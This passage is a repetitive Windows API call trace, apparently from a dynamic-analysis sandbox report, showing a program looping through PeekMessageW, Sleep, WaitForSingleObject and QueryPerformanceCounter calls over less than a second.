| out: lpMsg=0x2df914) returned 0 [0155.695] Sleep (dwMilliseconds=0x64) [0155.709] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.709] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795693647) returned 1 [0155.709] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795693854) returned 1 [0155.710] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.710] Sleep (dwMilliseconds=0x64) [0155.725] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.725] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795749342) returned 1 [0155.725] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795749496) returned 1 [0155.726] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.726] Sleep (dwMilliseconds=0x64) [0155.740] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.740] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795800335) returned 1 [0155.740] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795800489) returned 1 [0155.741] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.741] Sleep (dwMilliseconds=0x64) [0155.756] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.756] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795853570) returned 1 [0155.756] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795853726) returned 1 [0155.756] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.757] Sleep (dwMilliseconds=0x64) [0155.771] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.772] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795906978) returned 1 [0155.772] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795907157) returned 1 [0155.772] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.773] Sleep (dwMilliseconds=0x64) [0155.787] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795960226) returned 1 [0155.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795960404) returned 1 [0155.788] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.788] Sleep (dwMilliseconds=0x64) [0155.803] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.803] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796013850) returned 1 [0155.803] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796014028) returned 1 [0155.803] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.804] Sleep (dwMilliseconds=0x64) [0155.819] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.819] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796068543) returned 1 [0155.819] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796068710) returned 1 [0155.819] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.820] Sleep (dwMilliseconds=0x64) [0155.834] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.834] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796122212) returned 1 [0155.835] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796122365) returned 1 [0155.835] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.836] Sleep (dwMilliseconds=0x64) [0155.849] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.849] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796173373) returned 1 [0155.849] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796173527) returned 1 [0155.850] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.851] Sleep (dwMilliseconds=0x64) [0155.865] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.865] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796227140) returned 1 [0155.865] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796227285) returned 1 [0155.866] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.866] Sleep (dwMilliseconds=0x64) [0155.898] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796338499) returned 1 [0155.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796338651) returned 1 [0155.899] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.900] Sleep (dwMilliseconds=0x64) [0155.912] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.912] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796386600) returned 1 [0155.912] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796386732) returned 1 [0155.912] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.913] Sleep (dwMilliseconds=0x64) [0155.927] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.928] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796440337) returned 1 [0155.928] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796440464) returned 1 [0155.928] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.928] Sleep (dwMilliseconds=0x64) [0155.944] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.944] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796495111) returned 1 [0155.944] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796495232) returned 1 [0155.944] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.944] Sleep (dwMilliseconds=0x64) [0155.959] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.959] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796546423) returned 1 [0155.959] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796546544) returned 1 [0155.959] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.960] Sleep (dwMilliseconds=0x64) [0155.974] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.974] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796599574) returned 1 [0155.974] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796599690) returned 1 [0155.975] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.975] Sleep (dwMilliseconds=0x64) [0155.990] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.990] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796653250) returned 1 [0155.990] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796653365) returned 1 [0155.990] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.991] Sleep (dwMilliseconds=0x64) [0156.006] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.006] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796708445) returned 1 [0156.006] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796708561) returned 1 [0156.006] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.007] Sleep (dwMilliseconds=0x64) [0156.021] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.021] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796760072) returned 1 [0156.021] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796760254) returned 1 [0156.022] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.022] Sleep (dwMilliseconds=0x64) [0156.037] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.037] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796813418) returned 1 [0156.037] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796813600) returned 1 [0156.037] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.038] Sleep (dwMilliseconds=0x64) [0156.053] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.053] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796869253) returned 1 [0156.053] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796869431) returned 1 [0156.054] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.054] Sleep (dwMilliseconds=0x64) [0156.068] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796920169) returned 1 [0156.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796920351) returned 1 [0156.069] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.069] Sleep (dwMilliseconds=0x64) [0156.085] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.085] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=796979517) returned 1 [0156.085] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=796979706) returned 1 [0156.086] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.087] Sleep (dwMilliseconds=0x64) [0156.099] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.099] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797026667) returned 1 [0156.099] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797026846) returned 1 [0156.100] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.100] Sleep (dwMilliseconds=0x64) [0156.115] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.115] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797081450) returned 1 [0156.115] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797081695) returned 1 [0156.116] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.116] Sleep (dwMilliseconds=0x64) [0156.130] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.130] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797133232) returned 1 [0156.130] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797133407) returned 1 [0156.131] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.131] Sleep (dwMilliseconds=0x64) [0156.151] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797205868) returned 1 [0156.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797206076) returned 1 [0156.152] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.153] Sleep (dwMilliseconds=0x64) [0156.162] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.162] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797242037) returned 1 [0156.162] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797242191) returned 1 [0156.163] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.163] Sleep (dwMilliseconds=0x64) [0156.178] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.178] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797297708) returned 1 [0156.178] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797297863) returned 1 [0156.179] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.179] Sleep (dwMilliseconds=0x64) [0156.193] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.193] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797346437) returned 1 [0156.193] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797346594) returned 1 [0156.193] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.194] Sleep (dwMilliseconds=0x64) [0156.214] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.214] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797418557) returned 1 [0156.214] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797418742) returned 1 [0156.214] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.215] Sleep (dwMilliseconds=0x64) [0156.224] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.224] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797453372) returned 1 [0156.224] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797453555) returned 1 [0156.225] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.225] Sleep (dwMilliseconds=0x64) [0156.240] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797506841) returned 1 [0156.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797507024) returned 1 [0156.240] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.241] Sleep (dwMilliseconds=0x64) [0156.255] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.255] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797559844) returned 1 [0156.255] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797560027) returned 1 [0156.256] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.256] Sleep (dwMilliseconds=0x64) [0156.271] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.271] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797615923) returned 1 [0156.272] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797616088) returned 1 [0156.272] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.273] Sleep (dwMilliseconds=0x64) [0156.286] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.286] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797666480) returned 1 [0156.286] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797666662) returned 1 [0156.287] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.287] Sleep (dwMilliseconds=0x64) [0156.302] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.302] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797720145) returned 1 [0156.302] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797720312) returned 1 [0156.303] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.303] Sleep (dwMilliseconds=0x64) [0156.317] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.317] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797773057) returned 1 [0156.318] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797773213) returned 1 [0156.318] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.319] Sleep (dwMilliseconds=0x64) [0156.333] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.333] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797826461) returned 1 [0156.333] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797826646) returned 1 [0156.334] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.334] Sleep (dwMilliseconds=0x64) [0156.349] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.349] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797881324) returned 1 [0156.349] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797881486) returned 1 [0156.350] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.350] Sleep (dwMilliseconds=0x64) [0156.364] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.364] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797933558) returned 1 [0156.364] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797933718) returned 1 [0156.365] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.366] Sleep (dwMilliseconds=0x64) [0156.380] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.380] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=797988371) returned 1 [0156.381] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=797988524) returned 1 [0156.381] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.382] Sleep (dwMilliseconds=0x64) [0156.395] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.396] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798039786) returned 1 [0156.396] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798039964) returned 1 [0156.396] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.397] Sleep (dwMilliseconds=0x64) [0156.411] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.411] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798094016) returned 1 [0156.411] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798094192) returned 1 [0156.412] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.413] Sleep (dwMilliseconds=0x64) [0156.427] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.427] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798146578) returned 1 [0156.427] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798146750) returned 1 [0156.427] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.428] Sleep (dwMilliseconds=0x64) [0156.442] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.442] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798199657) returned 1 [0156.442] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798199839) returned 1 [0156.443] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.443] Sleep (dwMilliseconds=0x64) [0156.458] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.458] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798252938) returned 1 [0156.458] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798253092) returned 1 [0156.458] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.459] Sleep (dwMilliseconds=0x64) [0156.500] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798395729) returned 1 [0156.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798395884) returned 1 [0156.500] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0156.501] Sleep (dwMilliseconds=0x64) [0156.505] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0156.505] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=798412835) returned 1 [0156.505] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=798412991) returned 1 [0156.505] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 